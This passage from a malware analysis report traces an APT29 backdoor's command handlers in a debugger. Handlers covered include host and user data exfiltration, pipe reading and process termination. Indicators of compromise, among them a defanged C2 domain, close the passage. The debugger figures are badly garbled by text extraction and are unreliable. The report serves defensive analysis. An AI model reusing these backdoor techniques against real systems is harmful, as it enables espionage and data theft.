| 0043ADBF         89 44 24 04         mov dword ptr ss:[esp+4],eax           0043ADC3         80 85 A4 FB FF FF         Tea eax,dword ptr ss:[esp+4],eax           0043ADC4         80 85 A4 FB FF FF         Tea eax,dword ptr ss:[esp+4],eax           0043ADC5         80 85 A4 FB FF FF         Tea eax,dword ptr ss:[esp+4],eax           0043ADC6         80 85 A4 FB FF FF         Tea eax,dword ptr ss:[esp],eax           0043ADC6         80 85 A1 FB FF FF         Tea eax,dword ptr ss:[esp],eax           0043ADC6         88 85 17 FE FF         call <apre>call <apre< th=""><th>∰ Dump 1 ∰ Dump 2 ∰ Dump 3 ∰ Dump 4 ∰ Dump 5 👹 Watch 1 I×-ILocals 🤌 Stru<br/>Figure 132</th><th>049C88CE 049C80C4<br/>049C88CC 049C95D4</th></apre<></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre></apre> | ∰ Dump 1 ∰ Dump 2 ∰ Dump 3 ∰ Dump 4 ∰ Dump 5 👹 Watch 1 I×-ILocals 🤌 Stru<br>Figure 132   | 049C88CE 049C80C4<br>049C88CC 049C95D4  |
| C C C C C C C C C C C C C C C C C C C  |  | x875W_C1 0 x875W_C0 0 x875W_E5 0<br>x875W_5F 0 x875W_P 0 x875W_U 0<br>v0 unagen 0 unagen 0 unagen 0   |
| <apt29.getusernamea> 2:[esp+4] 049C95D4 3:[esp+6] 003004D 4:[esp+C].7D254695 4:[esp+C].7D25469 4:[esp+C].7D25 4:[esp+C].7D25 4:[esp+C].7D25 4:[esp+C].7D25 4:[esp+C].7D25 4:[</apt29.getusernamea>  | <pre>&lt;</pre>  | > Default (stocal)  |

#### Figure 133

The final buffer that will be exfiltrated contains the hostname and username, as highlighted in figure 134:

| Address  | He  | х   |     |       |    |     |    |      | 94.933 |     |    |    | 2007 |      |      |      | ASCII     |        |     |
|----------|-----|-----|-----|-------|----|-----|----|------|--------|-----|----|----|------|------|------|------|-----------|--------|-----|
| 0288031C | F5  | 0D  | 0E  | F6    | AE | 40  | 41 | AF   | 00     | 00  | 00 | 00 | 01   | 00   | 00   | 00   | 00°@A     | Figure | 134 |
| 0288032C | 00  | 00  | 00  | 00    | 31 | 00  | 00 | 00   | 48     | 00  | 44 | 45 | 53   | 4B   | 54   | 4F   | 1H.DESKTO | iguio  | 101 |
| 0288033C | 50  | 2D  |     |       |    |     |    |      |        | 5C  |    |    |      | 00   | 00   | 00   | P         |        |     |
| Byte = 0 | x49 | ) — | exf | iltra | te | the | C2 | 2 do | om     | ain | na | me | ar   | nd p | oort | : ทบ | Imber     |        |     |

The final buffer that will be exfiltrated contains the C2 server and the port number:



There is only a FindClose function call regarding this case. The buffer that will be exfiltrated is similar to the one presented in figure 66.

Byte = 0x8B – close open handles

This is also a "cleaning" case because the backdoor calls the CloseHandle API a few times. The buffer that will be exfiltrated is similar to the one presented in figure 66.

Byte = 0x98 calculate the MD5 hash of the empty string

The process computes the MD5 hash of the empty string and saves the result to the buffer that will be exfiltrated:

| Address                          | He | x  |    |    |    |    |    |    |    |    |    |    |    |    |    |    | ASCII     |
|----------------------------------|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|-----------|
| 0288031C                         | C0 | 0E | 0F | C1 | AE | 40 | 41 | AF | 00 | 00 | 00 | 00 | 01 | 00 | 00 | 00 | A AB @A   |
| 0288032C                         | 00 | 00 | 00 | 00 | 46 | 00 | 00 | 00 | 97 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | F         |
| 0288033C                         | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | D4 | 1D |           |
| 0288034C                         | 8C | D9 | 8F | 00 | B2 | 04 | E9 | 80 | 09 | 98 | EC | F8 | 42 | 7E | 00 | 00 | .Ù⁼.éìøB~ |
| Byte = 0xC4 – close open handles |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |           |

No notable activity regarding this case. The buffer that will be exfiltrated is similar to the one presented in figure 66.

Byte = 0xC7 – close open handles and unmap a mapped view of a file

The binary performs 2 function calls to CloseHandle and a call to UnmapViewOfFile. The buffer that will be exfiltrated is similar to the one presented in figure 66.

Byte = 0xCA – close open handles

No notable activity regarding this case. The buffer that will be exfiltrated is similar to the one presented in figure 66.

Byte = 0xE1 – resume a suspended thread and copy data from a pipe

The malicious process resumes a thread that was previously suspended using the ResumeThread routine:



#### Figure 137

PeekNamedPipe is utilized to copy data from a named or anonymous pipe into a buffer without removing it from the pipe:

| O04353CD C7 44 24 14 00 00 00 00     mov dword ptr ss: esp+14 0     004353DS C7 44 24 10 00 00 00 00     mov dword ptr ss: esp+14 0     004353DD 80 55 80     004353E0 89 54 24 0C     mov dword ptr ss: esp+3 4000     mov dword ptr ss: esp+4 4000     mov dword | x875tatusword 0000<br>x875tatusword 0000<br>x875w_8 0 x875w_C3 0 x875w_C2 0<br>x875w_C1 0 x875w_C0 0 x875w_E5 0<br>x875w_5 0 x875w_P 0 x875w_U 0 |
|--|--|
| COLDESELEE ES 3C 6C FE FF Call capt29.PeekNamedPipe>     Contra Capt29.PeekNamedPipe>     Contra Capt29.PeekNamedPipe>   | > Default (stdcall) 		 5 	 Unlock  |
| .text:004353F3 apt29.exe:\$353F3 #347F3  | 2: [e5p+4] 0280336<br>3: [e5p+6] 00004000<br>4: [e5p+C] 049C95D0   |
| 🗰 Dump 1 👹 Dump 2 🗰 Dump 3 🗰 Dump 4 🗱 Dump 5 🛞 Watch 1 💷 Locals 🖉 Struct 04985   | A28 00001234<br>A2C 02880336   |
| Address Hex ASCII 0498E  | A30 00004000<br>A34 049C95D0   |
| 04926BC3 D0 18 44 00 00 00 00 00 00 00 00 00 00 00 00  | A38 0000000<br>A3C 00000000  |

#### Figure 138

Whether more data is available in the pipe, the malware reads it using the ReadFile API:

|   | <ul> <li>00435434</li> <li>0043543C</li> <li>0043543F</li> <li>00435443</li> <li>00435443</li> <li>00435448</li> <li>00435448</li> <li>0043544F</li> </ul> | C7 44<br>8D 55<br>89 54<br>C7 44<br>89 5C<br>89 04 | 24 10 00 0<br>80<br>24 0C<br>24 08 00 4<br>24 04<br>24 | 00 00 00<br>40 00 00 | mov dword pt<br>lea edx,dword<br>mov dword pt<br>mov dword pt<br>mov dword pt<br>mov dword pt  | ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp+<br>ss: esp | 10,0<br>ebp-50<br>C,edx<br>8,4000<br>4,ebx<br>,eax |   | [esp                             | +4                      | x875tatusWord 0000<br>x875W_B 0 x875W_C3 0 x875W_C2 0<br>x875W_C1 0 x875W_C0 0 x875W_E5 0<br>x875W_SF 0 x875W_P 0 x875W_U 0 |
|---|--|--|--|----------------------|--|---|--|---|----------------------------------|-------------------------|---|
| EIP   |  | E8 7D  | EO FD FF   |                      | call <apt29.6< th=""><th>ReadFile&gt;</th><th></th><th></th><th>-</th><th>× 1</th><th>Default (stdcall) 👻 5 🗧 🗆 Unlock</th></apt29.6<> | ReadFile>   |  |   | -                                | × 1                     | Default (stdcall) 👻 5 🗧 🗆 Unlock  |
| <apt29.read< th=""><th>File&gt;</th><th>:<b>\$</b>35452 #34</th><th>1852</th><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th>1: [eSp] FFFFFFF<br/>2: [eSp+4] 0280336 "test"<br/>3: [eSp+6] 00004000<br/>4: [eSp+6]_049C95D0</th></apt29.read<> | File>  | : <b>\$</b> 35452 #34                              | 1852   |                      |  |   |  |   |                                  |                         | 1: [eSp] FFFFFFF<br>2: [eSp+4] 0280336 "test"<br>3: [eSp+6] 00004000<br>4: [eSp+6]_049C95D0                                 |
| Dump 1  | Dump 2   | Dump 3   | Dump 4   | Dump 5               | 🛞 Watch 1  | [x=] Locals   | 2 Struct   |   | 0498FA28<br>0498FA2C             | FFFFF                   | FFFF 0336 "test"  |
| Address He  | ex<br>4 65 73 74 00  | 00 00 00 0   | 00 00 00   | 00 00 00 00          | ASCII<br>test  |   |  | ^ | 0498FA30<br>0498FA34<br>0498FA38 | 00004<br>049C9<br>00000 | 4000<br>95D0<br>0000  |
| Eiguro  | 120  |  |  |                      |  |   |  |   |                                  |                         |   |

The buffer that will be exfiltrated contains the data received from the pipe:

| Address  | Нех                                 |      |    |    |    |    |    |    |    |    |    |    |    |    |    | ASCII          | 4.4.0 |
|----------|-------------------------------------|------|----|----|----|----|----|----|----|----|----|----|----|----|----|----------------|-------|
| 0288031C | 8C 37                               | 7 37 | 8C | AE | 40 | 41 | AF | 00 | 00 | 00 | 00 | 01 | 00 | 00 | 00 | .77.®@A Figure | 140   |
| 0288032C | 00 00                               | 00 ( | 00 | 1E | 00 | 00 | 00 | A2 | 00 | 74 | 65 | 73 | 74 | 00 | 00 | ¢.test         |       |
| Byte = 0 | Byte = 0xE2 – copy data from a pipe |      |    |    |    |    |    |    |    |    |    |    |    |    |    |                |       |

The executable copies data from a named or anonymous pipe into a buffer via a PeekNamedPipe function call:

| Od43549F C7 44 24 14 00 00 00 00     Od435407 C7 44 24 14 00 00 00 00     Od435407 C7 44 24 10 00 00 00 00     Od435407 C7 44 24 00     Od435407 C7  | nev dword ptr ss: esp+14 0<br>nev dword ptr ss: esp+10,0<br>lea edx,dword ptr ss: esp+50,0<br>nov dword ptr ss: esp+50,000<br>nov dword ptr ss: esp+1,000<br>nov dword ptr | x8/1m_b 3 (EmpLy)         x8/1m_/ 3 (EmpLy)           x875K_E00000         x875W_C2 0           x875W_E0 0 x875W_C2 0         x875W_C2 0           x875W_F0 0 x875W_E5 0         x875W_E5 0           x875W_SF 0 x875W_P 0 x875W_U 0         x875W_U 0 |
|---|---|--|
| <pre><abr></abr> <abr></abr> <abr< td=""><td>Aut Rapids, recondition (pc)</td><td>Default (stdcall)</td></abr<></pre> | Aut Rapids, recondition (pc)  | Default (stdcall)  |
| .text:004354C5 apt29.exe:\$354C5 #348C5   |   | 4: [esp+C]_049C95D0  |
| Dump 1         Dump 2         Dump 3         Dump 4         Dump 5  | Image: Watch 1         Image: Image: Image: Watch 1         Image: Image: Image: Watch 1         Image: Image: Watch 1         Imag   | 01234<br>80336   |
| Address         Hex           028AA0D8         04         00         00         01         00   | ASCII 0498FA30 0000<br>0498FA34 043%<br>0498FA38 000<br>0498FA38 000  | 04000<br>C95D0<br>00000<br>00000   |

#### Figure 141

The ReadFile function is utilized to read more data from the pipe if it's available:

| 0043551F C7 44 24 10 00 00 00 00<br>00435527 8D 5D 80<br>00435527 8D 5D 80<br>00435528 89 5C 24 0C<br>00435528 89 54 24 06<br>00435528 89 74 24 04<br>00435532 89 74 24 04 | mov dword ptr ss: esp+10,0<br>lea ebx,dword ptr ss: esp+20,ebx<br>mov dword ptr ss: esp+20,ebx<br>mov dword ptr ss: esp+40,es1<br>mov dword ptr ss: esp+41,es1<br>mov dword ptr ss: esp+4,es1  | [esp+4                              | X875tatusWord 0000<br>X875W_B 0 X875W_C3 0 X875W_C2 0<br>X875W_C1 0 X875W_C0 0 X875W_E5 0<br>X875W_5F 0 X875W_P 0 X875W_U 0 |
|--|--|-------------------------------------|---|
|  |  | >                                   | Default (stdcal)  |
| <apt29.readfile> .text:00435539 apt29.exe:\$35539 #34939</apt29.readfile>  |  |                                     | 1: [esp+4] 02880336 "TEST"<br>3: [esp+8] 00000100<br>4: [esp+C] 049C95D0  |
| Ump 1 Ump 2 Ump 3 Ump 4 Um Dump 5  | Watch 1  x=  Locals<br>Struct<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>0499<br>049 | FA28 0000<br>FA2C 0288              | 1234<br>30336 "TEST"  |
| Address Hex<br>02880336 54 45 53 54 00 00 00 00 00 00 00 00 00 00 00 00 00   | ASCII 0499<br>010 TEST   | FA30 0000<br>FA34 0490<br>FA38 0000 | 00100<br>19500<br>00000   |

#### Figure 142

The buffer that will be exfiltrated contains the data received from the pipe:



The backdoor kills a specific process, whose handle is read from memory:

|  | • 00435601<br>• 00435609 | C7 44 24 04 00 00 00 00<br>89 04 24 | mov dword ptr ss: esp+4,0<br>mov dword ptr ss: esp],eax |              | x875W_SF 0 x875W_P 0 x875W_U 0                                  |              |  |
|--|--------------------------|-------------------------------------|---|--------------|---|--------------|--|
| EIP  | 00435 60C                | E8 28 6A FE FF                      | call <apt29.terminateprocess></apt29.terminateprocess>  | >            | Default (stdcall)   | ▼ 5 € Unlock |  |
| <apt29.terr< th=""><th>560C apt29.exe</th><th>\$3560C #34A0C</th><th></th><th></th><th>2: [esp+4] 0000000<br/>3: [esp+8] 0000000<br/>4: [esp+C] 00000000</th><th></th></apt29.terr<> | 560C apt29.exe           | \$3560C #34A0C                      |   |              | 2: [esp+4] 0000000<br>3: [esp+8] 0000000<br>4: [esp+C] 00000000 |              |  |
| Dump 1   | Dump 2                   | Dump 3 Ula Dump 4 Ula Dump          | 5 🛞 Watch 1 🛛 🖉 Struct                                  | 0498FA28 000 | 001234  |              |  |

#### Figure 144

The buffer that will be exfiltrated is similar to the one presented in figure 66.

#### Byte = 0xFE - close open handles

The binary performs a function call to CloseHandle and closesocket. The buffer that will be exfiltrated is similar to the one presented in figure 66.

Byte = 0xFF – copy a string that probably represents the exit of the program

The malware copies the string "Exiting..." to the final buffer that will be exfiltrated:

| Address   | He | x  |    |    |    |    |    |    |    |    |    |    |    |    |    |    | ASCII        |     |
|-----------|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|----|--------------|-----|
| 0288031C  | ED | 1E | 1F | EE | AE | 40 | 41 | AF | 00 | 00 | 00 | 00 | 01 | 00 | 00 | 00 | 1ieeA Figure | 145 |
| 0288032C  | 00 | 00 | 00 | 00 | 29 | 00 | 00 | 00 | 81 | 00 | 45 | 78 | 69 | 74 | 69 | 6E | )Exitin      | 140 |
| 0288033C  | 67 | 2E | 2E | 2E | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | 00 | g            |     |
| Reference | es |    |    |    |    |    |    |    |    |    |    |    |    |    |    |    |              |     |

#### MSDN: https://docs.microsoft.com/en-us/windows/win32/api/

VirusTotal:

https://www.virustotal.com/gui/file/6057b19975818ff4487ee62d5341834c53ab80a507949a52 422ab37c7c46b7a1

Fakenet: https://github.com/fireeye/flare-fakenet-ng

MalwareBazaar:

https://bazaar.abuse.ch/sample/6057b19975818ff4487ee62d5341834c53ab80a507949a524 22ab37c7c46b7a1/

ESET: <u>https://www.welivesecurity.com/wp-</u> content/uploads/2019/10/ESET\_Operation\_Ghost\_Dukes.pdf

Kaspersky: <u>https://securelist.com/miniduke-is-back-nemesis-gemina-and-the-botgen-studio/64107/</u>

Cybersecurity Advisory: https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA\_SVR\_TARGETS\_US\_ALLI ES\_UOO13234021.PDF/CSA\_SVR\_TARGETS\_US\_ALLIES\_UOO13234021.PDF

#### INDICATORS OF COMPROMISE

C2 server: salesappliances[.]com

```
SHA256: 6057b19975818ff4487ee62d5341834c53ab80a507949a52422ab37c7c46b7a1
```

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 (prone to False Positives)

Named Pipe: \\pipe\DefPipe